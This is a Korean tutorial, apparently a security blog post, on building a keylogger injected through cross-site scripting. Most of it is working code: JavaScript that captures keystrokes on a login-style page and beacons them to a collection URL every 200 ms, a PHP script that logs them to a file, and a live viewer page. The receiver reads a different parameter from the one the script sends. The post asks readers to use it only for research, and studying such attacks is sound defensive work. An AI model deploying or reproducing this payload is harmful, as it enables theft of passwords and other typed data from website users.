XSS를 위한 간단한 Keylogger 만들기!

오늘은 공격을 통한 영향력 측면에서 바로 사용자의 키 입력을 가로채는 Keylogger를 간단하게 만들어볼까합니다. 물론 악용하시면 안됩니다. 연구적인 측면에서 해보시길 바랍니다.

Keylogger의 원리

전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. Mobile 시대 이후로도 Web은 활발하게 사용되고 있고 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야 합니다.

OS단 Keylogger와 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 onkeypress 등의 Event Handler로 받아낼 수 있으니깐요 :)

XSS와 Web Keylogger

XSS는 웹 페이지에서 사용자의 세션을 이용하여 스크립트를 실행할 수 있습니다. 대표적인 시나리오로 쿠키 탈취 등이 설명되지만, 실제로는 다른 공격과 연계되어 사용됩니다. Key logger도 그 중 하나로 간단한 트릭을 통해 사용자의 패스워드 등 중요정보를 탈취하는데 사용될 수 있습니다.

Keylogger 만들기

onkeypress는 키보드의 입력을 감지하는 Event Handler입니다. 이를 이용하면 어떤 키를 눌렀는지 알 수 있습니다. 일반 웹 페이지에서도 검색 기능 내 엔터 처리 등을 위해 많이 사용됩니다.

var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
    // ...
}

이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠.

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);

자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.

<html><body>

<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>

<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
 {
 buffer = " --> [Enter]\n"
 }
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);
</script></body></html>

Keylogger Server 만들기

사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다. 아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.

<?php
    if(!empty($_GET['key'])) {
        $logfile = fopen('./data.txt', 'a+');
        fwrite($logfile, $_GET['key']);
        fclose($logfile);
    }
?>

data.txt 파일을 읽어보면..

cat data.txt 
# test --> [Enter]
# www.hahwul.com --> [Enter]

Keylogger Viewer 만들기

proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다. 간단하게 HTML로 Viewer를 작성해봅니다.

<html>
<body>

<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
 parent.log.location.href="./data.txt";
 setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>

iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다. 정말 간단하죠 :)

Run!

이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요.